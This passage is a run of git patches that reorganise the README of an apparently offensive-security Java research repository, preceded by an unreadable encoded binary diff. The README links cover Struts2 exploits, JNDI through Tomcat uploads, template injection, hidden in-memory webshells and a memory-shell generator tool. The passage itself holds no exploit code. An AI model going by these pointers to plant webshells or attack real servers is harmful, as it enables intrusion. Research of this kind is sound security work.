z3ZkT8=hW%A+(|yT%8Vo)F>EgB#nhqr<>~|Ty9bqwrazeRH zMr&Kf#vCIJnXn-QgRk8VYmY#74q(5;`&YUf?_ICKDv>HOt`@sqNal~DXC~#SGFfSb z%&3ux@6d*alI*a7O%fiPSYx=4J)e5dYq;#4*1Uor?xc6fw(=kjD)+dIhr_bJ*ZEG=quVZ0u$kY%)ySZdNTp1Fb4uZxyd z;S^R1b@jXY z0td%Bb?2atdXe%NnX3ix{fvvQ2Gk~BRJE*l6sY!w8#7K(?Kwhjdmvg=hu<_?3kRKO z7brZPAj8$M7f&=;?HL^b_2OG0z&s3~nQQ9Td2S#>6qGspYu^J5qw=i&v3!JBL9ncb&T{B5&j4=RKGXp+>@1>{44tp3GQW zjO?ELuElU?qW8#f^mcHX^`#B9jE#dmKOH18;pPWX2Qm^wbx^7kJ@@d66Ix-oTC`TY zI5q8GeUO}09unwg;V{uIqZNI5IeOy%Ty)Way_NA{rgutK7*7eW?pkXB+Sfx!V`=Ng z*)LMM6sAGr+_hu*WD*a&F3~9C+a_N9)POpWCLE#o| z&tPWqa&=LsLu7bMREk6`sHJSKu|qF9xX+#3MsE2*$9gi+RX0wQsfOq0ta!Wdans}? z2NO2oDqdo~e8{8hk|nLQTWV1tmwn!0wsG3a)IrLQsjj+hvuFAhIp%My*Mr&#h07#G zvb)y4ggCq~@eNDi(hWzMI19%D5A=31Fyr97HEH zke0C6dc}A3aYbrWd5J(b+*a6D<^1Po4xS>+wK$JB&gbn1YyG3vINHw=D912a;991M z_T~Y22Y|G$vrt5h0#L}h6sA{xATSUzDmzUTvaa|Ne&;IMbG zK%b2B1VGp<7Oc_5Hsr^9DDM1HK&7==xVLHi~v0Hx#}ubHk{3?bW-p z_19^o4j^!|0asUL>N$Mj@U)NI@f<}A-^aYc{9C|BZuf{T#4x>R^V)rvONRelH4SOPbwoG0?4Wi7BL9x- zuP1ZmEh&K|0I<*qN9z>Eh>IC0eJVUx^@Q3H6PgIjuE%lSYDSV^0<-G4`% zr^o4qP3V-}mxQe0ubwvf&4whOQ#MG6isQpPd*Cl;-6yQ+^)t){n$`U5?-rnI@eqJW zhz6Ybs>9`na+n#>@@=xFd4!;&(gNiU3$AH|c-vBJ%5Wl4pmu>@RdoO#LM7581p+|; zw1gCY&U6|+9iq;DGu0|dLoNuks)%{t3X?oO9sNw>FSuR3BYmnDd`1C66I9Y4)2|l7qOH-E_~Ck)-Ca7XakmJ`x>4t)4-GWF$20& zdW;d7Egz2!JY{Y_YG=JQKTTGIxxJ%z>Y`PFL>R$C7kHYV-QTY}su(YgJLxuN-wr9{ zGS(31o#i4bV92%CoG(ILh;7#lkE)?_z>7iGtl`)))kS9EmVn zRvNI79*5Hh%-tHUCLayqV7W4%@U$j~As3^kZP&MoXY=*E#uq1(>?F+uVX<7V`SwIf zd9x@bORBdDYH~27iQZCtxQQb$>o&BM9(j{_peh|-Nk#aL3Le)Vt+j&jJ+zP`(^exs^hP$vHw9}}?$iCJ_T2)B2>s$BCPEl0el z6D_Gov(`QrDgQG_3~yZ{wzjBrbLTZ}v)U%?>iYJ)#HQV=3;F8elgui`8R7CzkX!tX zd)A4ntRgf~R!E)h=&LWt^5k33d}iKb<*!~3HhziB6ylJv$^E$b4D2>tQInGIkD=Sz zLY9_a`{3g_poVhky|krc-TL7w+0`nT{KA!1f}+EDRc; zGPJ53!UL#V6d(eISnT}Bli{~%hYM%EkpzGKWX zDz9kCb6^{-MCJ7A868A!zHWUx>3uapW}n!;)3D?<^b9QfAiVoH6$Xq8-{4f1`jgpt zJ-p5tn)uewvRVIw-wy~I3W3UM;g{&~)b5sYi{Vr!6}Irfj}~>p+jB!@GVx~p_T|at zmv?Otj)!+%P7a0`^bga2;lA6*F30c=D=-alrg64@)A;eMfJQy#m%dR)JfIPC-$uEi2!*- zs2bcrwmnIQ<185M8y_H|rh8NnFpTMepHXTP>r|u}GQ*n{gC!_foOK@}!a~1LGw5_} z7WeR5;kz3GjhHN;(oPR&q+yLlIDo%zGb-mt>9-DOmz9uOETS!Aewh)P4N_VTa=(=! zb83@-EJj}1CFK0j%m!sLOz{Mlz7rF^E{|4XWn(%^OZh{X$Ds0R5Yu`?Vk5OuswFc7 zu3Pv=3xYW9=hWu(Q!C&{P$)18d2ZhoLxUGvuP55umIa;DhK(|JzWw}Du()`sXxj0$ zrxNN2+*UzSIyv6z9&4Fe)sU`)$NROyy?M%0uaJxQxP?C_p7;|z1G+3*VM)qh;6qO1<)Kh%JFKs z9sBSt!n$=d;!)6Wt4nIK2qzk6TvBH640ESoO_!3toTmx(RsOOI z-(*x5ZuUD*xoOXtE9#zUv$Zc{)~2+X^ES51J;0$WEzggiRQ}+aFfFURmU)#c4R{LB zQDkvvc4QWhx5IV=_U>ZdUpTS$dyaZz#9>?tTeuKBx~LK4*zyLm&VE&?lOztbEld*l zSbJv+8-hwyO%ZNI3^%@G6V4F;T`}7Tw&a=}xv#>NB>|+(O^O$Z-W_JNPJx#R{*_qn zAx3*T^UO?#gYPCF6^_bLdp>wOkDx27(yJ(BNvQAVPDxCRoz{oL2ew70)c$}1ZN!Aa<~}ZMx7w(orw!3 zW2onx;jGfqq@ACf%F&8)xFS{1Q>CRc_~bN}oNs(m4f5o|`!ohgNooiWPK#?Re1*l# zFC%hFT24p0$m%<>bVYL^7an4MFpuoG$s?_Y zoMJ<<+o5j%&xMPNnjD+_qRDa#t2XLm80~>UTa;wOVqyD;KI-H8Q<@wna1J484Ol&p zxMA`odg1Q17d1J3bAavRlSl~YnQVo`wyeobDde(R{;}@@vqM>z7wK`FCI*TX?LB;O zePiXC$1E!^RvN`iqs2_#rT(wealPk@%DYo2r;{ixCEMI9ESobs4NpWxz4Sc7_w_|( z$H@&SC&t&Qx7gNIWC|&U7E$ra>l>q+T`cp`v((ASzueyv00ZzgK}71*Dx2Q`p*V6B zWc}nzJ)?6BHMb0xT#fwPkyr?wTM-fzc!LP8zIpxHl`*nCUgemCzXcfksJ+Ty#RDO; zO+BlpE*-Vz`_Zp>PD{6b%iydk%ovprg~yK#S1hPeWPE{vDHeif3ffKYj=&ZS%%MDB zB4RwSVXkpWnhD<{f;S1Ntbl%{(E}?+@G<3X!-lhqg?O~cqcp-k!uOaT@L;xBU!gC7 zN7Im43reBH`7skAp1AW^PBGk%8I`ez`rc^;gncJzBOsycnHy+D11L|xwzEW`tq0Ht zF;%gQ)(N<5;vxOj=M{d+=Cd5Uj0bdxfrPm94u? z&9dh*`TX-YK8KTs`YMmk%XsgW%|CiiQeS!@J zGIJ-`f~iB&7u z3%63)*C+6g)aP4B0Is}QJHm33i|RbbUd9#FniW_PEO^e2@Q1S=bqet_#c1jR-}al0 zPKSA7QLH2oV`~1OSa^2In{A)jivMx5Xz918b&&;{Hr);3_%FB-bhpXA5xpH3Vga9c zUl#PaTKJlcDL%c%uHO4)elPV;5W1qYRZC(BTnx z_%25!nIXh1A%je-%#+-2(}#AV7!?a$qSqM5al|5?ZWILMS2aha*K5DEr!sKsD+1YI z5V7}cAjar^GC=+qC5Ax!v*=zk=k9bZ-*9TFP7XE!p?Ko==^yEw#&gI?%+T!?tH*e%OK9QcVCGZE=ZJLQD z!jrS#eVJqSFQH_%uX|dssnaeW_io_$H^P^0_7wf%OHw@vORDfjS+tyS5}!3IS-!Mw zh?cq-^FxU~Gn(f8E8J5&(12ky!*SKPPH)-8Zht%ZPP5_;Ud(b+`;TF-a-ExYaOcA+ zXLER5=tqf$gK^jwDu#{1;&vd7^(cP!3gLDNDv{Tvv041dT~@-Dy>*_?dKQYSD+zPu z(;zzaJ(KK~v=7+FDQz+2id$(}j#N)-40AK1&8m-`<9e zTQiDl?2ar*eouUK4w|B?fGMS4Y79=R3QgJK4&{FECp=K@$dm;}WLSY9#P)Xi++P&) z#LSJ6CZ9Y64~I}8cx3=xmmHcYd7`c|7`RWCb>$&^_2E{($AKp6=<8S6leE`dxY}6I z>gFs=^`WqKk1ce6eU)Jkp^4JIrN(d0_0;6(iY-PNA_!oVes3z&h_t(PWN`83S5k*P zd8m{4u-15F)`f#mkyF{E?83e5tMFgQ1_bj74u!leRw(0-ak+8ZHx_@m%(4O38X3{- zGa9q~^`#elwN7em!=%R~ZD@{4Ob+BUs`XC;*{psHE{@3}qBv+id)sW%CH#p6r~$V| zP#M0J6xZdFQY48#b!0(L_9nFRCbZ*17PH9jl->v&rthk+Gn?)3M*_a^Pzk*ZW$d0s zCX%Tj=r>+i1n{_(9OQ>C7rK?am)tU5$ z+w?kiB*vYh|K4V{htv&7F=0(J6dEi-YWoa34)`gcGgP1hmB6&8q*4r$>R1m|6Lzn$ z8qR%qPhp!&MoSXRV&Q5Q9l>GGkoFUjlc3iHhQk-T#nH_PRbX z1iUnTmQmdLH0XgYriW7qyef|+A4pBMP;*KMVI6H|nH4;hPhRFmqy^NZNex`Gb1(EU!1v-l7^~)k39M(OY+*DF!B zr3x^QzsJqPuu6c;Rt%GC3rjY8-;ZE8!rr4b!ioW;Ru~$oi;0mucy)c4b9yOFqhJ2KaAQ<)`nbwJyd{M*%bIac z>=5xNGK9V^Vya!wy*|&?Ki)CkHsXh5M#so;|3S$cX6va`1%J7(6kea>Bjd*v310PN zhN(WXfN1VNgR)kbTlJK8`)3hF4Ev7Ub+#9-ko9t)!8z*Kz57YciKjc~&(69Wb0N*PYRXkO@|a2ZASk|<|GX=%iSVh zReSj^8cKd%HJldg?G_*Z!XM6tZw68K!oLMoT*r}{XVB0AS+vF4l44QIcmQOdJA zMI)A`Thmf&n=QEJb+*j29pV}72E>8x1UoW@-s5?#Cm^a zWqMrEDr$rI?EB>G-y6&%mNraNPr0()U*X}z3cf0Ftue$|9@Q1`{ezGDbHHejCG$d1 z4)_SI^Lb^WQWkiRwJn&tO9MQ9h_SRx=^SxV;2FVty3`xYr!?kyK`G2-$-F90*THab zCRA@t0ZHJrrIVjqn*U1jbmg6IFhf1TcMe5nEPR|t*Xg+L+?y$?$gPerAy8=VQd9!e z?wEZBO)yA48Q=mS56KFKg8ZSER9z};tQ-o*?Zdxfml$d0yKDp+$}3!d1uI$f5`0cV z@gU@70bzLfo<}3plGPP`a3z5vzQ=Idrud_f91=F`s+Jb{Y}OE3N)BamH$ftPH@bV{ zIBKG##j&7wX*S; zVK4zMKm>XKwj~7X(wsC&1Z%+vdmffE+r?@KgPE2kaK{&=gnoLAG4T?CB!qAd1=@EA z)52V%dypEwGcJ)j(J?A`!`&tBC((q$(4#&D1q+p!eQ`>y2nY%K{gud2n})bC z49v{&jD5zIQG<5J?$|sCFRJIX8j1XYCkTEO4I%pNJ#w(5ddX)UbPZ2QppzCZ91aZ0 z&x;!-J*Bf%uT`4_2%W}mqob?sq11v}SVdS&Es<&b3Aov9!1uqB?T&U?cITqnaWnKQ zy0};I6lEjNotVO&o$AL~0}jA&tf|jB8Xp^AjZ0UZK>BSO&FdQZz!swd6r}8hMY1fN z(54vTcljfu<3?l?J$ab(F?%l#bwu$jiw0~iQHgY6#W}m z#8)f$S3=M#SKZ61qbPdygSjs$Hr|r(A4;5_vN^Jt=n<3jlEK6rfPmm_k1kvGM%>%B z=;1I#RzlPdDF`5)a%D)Mf8do`#ke9HlSLkAQ!+mA#0u^Z3v)$doj zHhevK(N`N;5%jaSEDa=83=v5JWg?7YE%Il2%RzinR`)TSt4}6YL(fI z9U03=aH2OA5YTO5`z9`{;dcQJl7vBr=lew1{L=wj&+D(PVfh;x7n`OtE}5O;a;i)3 zHGzAp90K%urt$gM6ss?t=fB^xKYDC?RhexWOqwCb0*ScIJ2)C^{$2q)6$Ax&*SZ&r zOnXiO>$#=F{Ny;AzNr=_hq;Qb2K5m77OaJ^i$=)H2$KqMu4QnZl(XW!H<^~i(4H=_ zr~bfn+?^gKQ0&=9qQGJY|JpsZ`)lI|8!=+4h3{H@sycy#!!74pC%Y`ujLVR(wk-PM z+v0oSD%%~=EwwH|XI&q^c5kUdLI=O?x)@#yKUyvc**_eobf&GD!Zck;gCj|P)n~s1 zyY=iB)h{TnzYI7y#q`lKHOQG(pHMW8Pjr_AzBr*ElS_s5p0O0RG6(*7W3TpOwBEd> zdB%S}yV7#jZfjo6zcg?vqVGiP01(LLilgfF3Ep*CKNvAyJP|j>)ofJsZQ-O*@;^{y zw)E(X;!_rvyVKRy&dww4{^S^+sY%^RONAP@!HNjk2st>BGy^d@V>?8S;q&qdjOn%x zDJJG;i=zZ3@fEVS{K{i3_xmy=C#%|i$|hQuV3jJT=uqPwpWKoT2Wc;`t;!?B|XCH<0^f z<=;{{MFM3iEP-BD_1$uE5+M{wC^zHn5rM?BT*k2QV?iOEu#g)`ZLD$@qH+X8@<<@2 z^7DMx8ryLl!%BO`?Trl~YPxpnMubi9}0eDG{V7`&deR*7{!S(V%l-KSUMJkH7@x}apb63X;wSjkUKN-RXf5T&#{xe19|M*54z(63+tvFMT1pU4W zr~08EvL1F#t0*O1JZN zR2t_}x`AGJbHlZn2P&pD*ugxKcqMqch_0kWM$;>TagVW+(!tKv+fM9I-%udv!0+rL z-a4rv2!aOTO}@-(VH0_}nk-Dd6>P7-k!Qh>`$r*wfTvJiJq_C74n|LpHQW&yB-1 zmVft3l_;!f$0yrT4q z+rw~N=UkX{WMYeO=zn&;#e}z&$M!_^%(etKZhh`H|3uX=`sl~{ZH-v=eqmSAb(&6F zH-q-p`Nke+jE!}we(iPSdAxomj4^Zgw$n2d@8IRUW3Lqjc~+&-zNfa8%Y;ld$OB^7 zO~}J%gvGdRyZ5SI8`1hpUOBn`hfZ5w-a4`8#I~8bZ&bP8lb)V(x4+n@P;xSXiFk5Q zz%>P_9QeWWvMriD+hS^R(w3Ay6W!qZg;`I#YzJY#xFyc%EzW{M{2>}5*zI{otwPG9 z+iW4h&nGMLG*p+752hg(V(gq+rA?eo8H? zRSj7nus{!sSw$s+toIkt-Co~>=gow2A!D?R}MO48X(HAxm79~w3u$!?=q4-0se3eZgglO$m%%j;*RY3Wu+Ue-; z=R&VHpthfB@ZTzIy(mnL_aAgy@zDeuG5caXkr;Dgq9^EG5!&aVw>Nfps!ubNURsWcAO*+=fmG_Rq z2~)8wNBWd{kDJ}8+pvQRDMp&Smy$R4p z;0pC#sA^7MardfZZqzMC8;sm`x~Y&b$;-TB!m^n)x7kT?o_)D@l{4qu5Idj>IPk2_ znKY>GjFCR_a253p^`S2;N09P3F!qo|`{>6gwQx2pJf9?^AI2P*R}!6)trPLptd$w% z8_hH70Q|hpPh2j%YQBH8&e?03M^>JsQ8=y*jhs@or;V0;=kG^A_wt9J?9tqxqB9x0 zy%s&An=EUl1hMNhD=|+hSVqR|$$j3#;W_K>M(LY69xSd5XFF+1v%3ke9r*o!U@O~b z6a#Px5i;`O1k=}hSL;l60h0p3M z{Hv655b&wmncJ_3s7l?>U!~`a79_iW_mXb~l#GACPz_>UagrDBOpX(}-bT+pxR~{D zCCyFRFEsjnr#B&$_zKXPNfB0Zl3Q*WgoR|<_*vpm&YeG-7@9RVWmFme5omj4-WFXH z&#BtKqX!>lM8px&wr=7>JqxH$r4PonEa-cd9_OCCP-N!hqTmZ@1W@sQ=0C~3m-*Pp zb*Bdlsn!#G{bAV1+lnqOJa5a3`y<$!56A$N0$DelvWS?W5 zc4ZN*M*hP^4Y3lx2r{k+@^DNwW_coI_v9Q(XG7Cm~6E3V1sTOFB_bI z<^2@TataiHoeqQ<;gj@TyhI@h!|RRXb;UiMBN@n)X--K(`vq{ccz5hc%VB3Nz)aF= zlZS(@m9vPc%7J8+3*bAw_~TA&wO5TH;o@w3L%7&vKJn_0{@HeMK0zZrruFH4$mMG7 z58+)7_HOM0CeD*5)dYcc>_fG0r3l>&Hd+mfz;`CaTVKJCNCOSu(+LhK7{QRnZ%VYB z=u>t=O?k?P_QXcXI4hQyYn)EqI*-U?2d=g*Yo*^vgj}h6ozeH#a>nqS@OL|EXlk-k zP*AwzFb}Q9#1K%HyaRh2EYwox$PIM}L(X97T8-gg|GyH60@Ib5`MyHpnyT!63aXZf zJ8UdlzI%sIldD>mVwB|D=|@NWiWnt}7XLE)At$yFBZPVdg}`~GiWXO75_(`f4zWX_ zX*n0+mo8QHmGMySThPYB*=D~wUb7dOmnTlyR%6e%NaRgqE4!@reQLjBKPT~7jC$N) zFYPYPxOaJIh7~8AQ+0`lIRLs!+)`Pc&|k(qwsCD)RaKj*QLe!`^wv+ybWr*^69*BgHOK_{|f%LK(u>V2S_P4Y&OPL@)*j3k$EKBaZ0pyKI8@5ePL@7XHVBfq~kl zWsVqVx!>r!OWVIYPodft$(rTMk{g%uU-V9aU_7o5OpF2U1&i0l$DYUG$no|*Yj?M< z!Twcv#?l{s$7M1QL18jyB9j}#f*#W&qXs>;L9c()xmaF z>%FA!-93Gw)IGiHQPw_^5cZLb>IZSAdd&?F)2${xi545%9P)*Mr2ke~Si*aW8+d)~ zb#mQt;^^usaCfCFG^FfD~ zq$r>Fi3m$UT-JtJ=@6zQvb z5Yl&w{1uIxRu;nv8r*%)$a!a?G{3d=LGR^GXRj;9VdvK~ zCd*tE&3_{HF z($dnNfef*vNfRo{?W62%2+s(x?1B$buZ<;Hu)i-OKZ zMQl6h<8jUlPvul&*nA4RZDLc5E8J$4lYJ^C5^df5<5O}|&%}B1bxISC02{>G{LH5p*;f+Lw@ zmLdL;Xz@!2s#-t} z{`OXfA>y%F(ex8}$pRcb>IMjh@#I3E*(XgJ+UnVk4w#VergbsjF=4o3~{CtMjWpaA%@DzZM8`7Ua%PDB zw@=LkW3h5As$JO0jyI4R?GNYns@PWV!AAiA?SQleaF?to6}LAN5=}!T#h4z zo_{d@*!3sitG@u!W6}*)8a1xufZ|j#?Cncp{lrKX5%QD5Z==$qS@U1_Ji)sZ%{AKM zE-(DIA4Jg&VFju&%42j5ZREe-XrZZW-E5lj-)Q->Aoovq@NWW^uQ+6%Fe-4Q28wt8 zff1D}WkpN)%#m<8J36h>*3()&FKa6G|2DuJ6A+H3nYRr4+u>+o2dbfUwd3JFJO1>Q zETQ@=o8y7cq!GE`Z(HmQ7yXYd=6?z1w1Kct3mGfYfB7G6K{;kxynJ=`UKjF15uI{4 z)K&I(1Hyz5zK3RYci?TwGdRz7Q+WX@n>4(AB zi=Gbu9*V!@J}vRY(G7?g9{z)Ew393VOC$Uq>EiRdeYCav;P%cM5Mgbfe)}9Y=_&Nh ztL*>XG1PQvqPkYXk)ECM&)JG?O8^AeM=i61ZVs`aZ00CC{xUD*{q#(+s`Aa!Z=+$W zPa(pG{C|(_zni?I0b0UZO4}wWhyK$nj2|Q6T@Z5BMUws<8>Xz8t5(Yzng6pWYy0b_ zr1HR&|57LVzrV&6+VI;xfVQswDPn|ry<(%Qagy5(ev`f*ffc`qx2+17>je9eJ;WXy zdHespyZnb_>Wm!9+RP?r`M19sM~U&^@9l1nfrj^62QcUV?g^)-W?OLy#*tr|7`XYO zc<6=)9Rmvwz$_Pl_Fosw1evMSod5p)KL!7DVXoGOChkh~>aW}Wr}Y0^yhO(|r~Lf? zGb6xejz%vT_W19A|J%%u0Q3riUW$LT?(cFu0FYb&jf6pw@;^H9SG8AdXa?A8`2XzW zU*%YMMEF3o@Yo!J{~U{dR117;j#d(M{Qqlh7#2~0Vz*A{e~;up?*4DXa+LM7A9=(R TgV_(zP#<+=Eu}IA^Pv9)5kbY{ literal 0 HcmV?d00001 From 0e184746f387f48687b3ea5d32f0c8fc02a58af6 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:36:00 +0800 Subject: [PATCH 016/113] Update README.md --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 7832077..36c362f 100644 --- a/README.md +++ b/README.md @@ -158,6 +158,8 @@ - [S2-045学习(通过container获取全局共享的OgnlUtil实例来清除SecurityMemberAccess当中属性的限制)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-045%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) - [S2-057学习(突破#context被删除限制,从attr作用域获取context对象)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-057%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) + + ## 8.关于Tomcat的一些小研究 - [JSTL的可利用点](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/JSTL%E7%9A%84%E5%8F%AF%E5%88%A9%E7%94%A8%E7%82%B9/index.md) @@ -170,6 +172,10 @@ - [探寻Tomcat文件上传流量层面绕waf新姿势](https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/) +- [Tomcat上传.war触发JNDI](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Tomcat%E4%B8%8A%E4%BC%A0.war%E8%A7%A6%E5%8F%91JNDI/index.md) + + + ## 9.JDBC Attack From 8bfdfa31564c3c8dc3a1f43ac45b9f039f9aa1fb Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:39:32 +0800 Subject: [PATCH 017/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 36c362f..8979393 100644 --- a/README.md +++ b/README.md @@ -327,6 +327,7 @@ - [thymeleaf模板注入](https://xz.aliyun.com/t/10514) - [国产Jfinal用的Enjoy模板引擎主要研究不出网利用](https://y4tacker.github.io/2022/04/14/year/2022/4/Enjoy%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E5%88%86%E6%9E%90/) + - [Beetl3.15.0以下模板注入(高版本仍然有办法Rce)](https://gitee.com/xiandafu/beetl/issues/I6RUIP) - 表达式 From 7c839218e5b03d5e056219a6b6b359cbfc5c364c Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:44:01 +0800 Subject: [PATCH 018/113] Update README.md --- README.md | 56 +++++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 40 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index 8979393..196e2ce 100644 --- a/README.md +++ b/README.md @@ -110,23 +110,47 @@ - [Weblogic SSRF Involving Deserialized JDBC Connection](https://pyn3rd.github.io/2022/06/18/Weblogic-SSRF-Involving-Deserialized-JDBC-Connection/) + + ## 5.内存马学习专区 -- [Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】](https://mp.weixin.qq.com/s/NKq4BZ8fLK7bsGSK5UhoGQ) -- [JavaWeb与Tomcat介绍](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat%E4%BB%8B%E7%BB%8D/Tomcat%E4%BB%8B%E7%BB%8D.md) -- [Tomcat-Listener型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md) -- [Tomcat-Filter型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md) -- [Tomcat-Servlet型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md) -- [Tomcat-Valve内存马](https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw) -- [Tomcat-Upgrade内存马](https://mp.weixin.qq.com/s/RuP8cfjUXnLVJezBBBqsYw) -- [WebSocket代理内存马](https://github.com/veo/wsMemShell) -- [Executor内存马的实现](https://mp.weixin.qq.com/s/uHxQf86zHJvg9frTbjdIdA) -- [浅谈 Java Agent 内存马(网上看到大师傅写的很详细直接搬运工了)](http://wjlshare.com/archives/1582) -- [SpringBoot内存马学习-通过添加新路由](https://github.com/Y4tacker/JavaSec/tree/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E9%92%88%E5%AF%B9springboot%E7%9A%84controller%E5%86%85%E5%AD%98%E9%A9%AC) -- [利用intercetor注入Spring内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E5%88%A9%E7%94%A8intercetor%E6%B3%A8%E5%85%A5Spring%E5%86%85%E5%AD%98%E9%A9%AC/index.md) -- [Timer型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Timer%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/index.md) -- [看不见的Jsp-Webshell(有点像平时CTF里面php的不死马的效果)](https://mp.weixin.qq.com/s/1ZiLD396088TxiW_dUOFsQ) -- [看不见的 Jsp-WebShell 第二式增强之无痕](https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA) -- [Spring cloud gateway通过SPEL注入内存马](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/) + +- 基础知识 + + - [Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】](https://mp.weixin.qq.com/s/NKq4BZ8fLK7bsGSK5UhoGQ) + + - [JavaWeb与Tomcat介绍](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat%E4%BB%8B%E7%BB%8D/Tomcat%E4%BB%8B%E7%BB%8D.md) + + - [Tomcat-Listener型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md) + + - [Tomcat-Filter型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md) + + - [Tomcat-Servlet型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md) + + - [Tomcat-Valve内存马](https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw) + + - [Tomcat-Upgrade内存马](https://mp.weixin.qq.com/s/RuP8cfjUXnLVJezBBBqsYw) + + - [WebSocket代理内存马](https://github.com/veo/wsMemShell) + + - [Executor内存马的实现](https://mp.weixin.qq.com/s/uHxQf86zHJvg9frTbjdIdA) + + - [浅谈 Java Agent 内存马(网上看到大师傅写的很详细直接搬运工了)](http://wjlshare.com/archives/1582) + + - [SpringBoot内存马学习-通过添加新路由](https://github.com/Y4tacker/JavaSec/tree/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E9%92%88%E5%AF%B9springboot%E7%9A%84controller%E5%86%85%E5%AD%98%E9%A9%AC) + + - [利用intercetor注入Spring内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E5%88%A9%E7%94%A8intercetor%E6%B3%A8%E5%85%A5Spring%E5%86%85%E5%AD%98%E9%A9%AC/index.md) + + - [Timer型内存马](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Timer%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/index.md) + + - [看不见的Jsp-Webshell(有点像平时CTF里面php的不死马的效果)](https://mp.weixin.qq.com/s/1ZiLD396088TxiW_dUOFsQ) + + - [看不见的 Jsp-WebShell 第二式增强之无痕](https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA) + + - [Spring cloud gateway通过SPEL注入内存马](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/) + + +- Tools + - [一款支持高度自定义的 Java 内存马生成工具](https://github.com/pen4uin/java-memshell-generator) From 6085addcd4fbee43cfa813200da041b70867f586 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 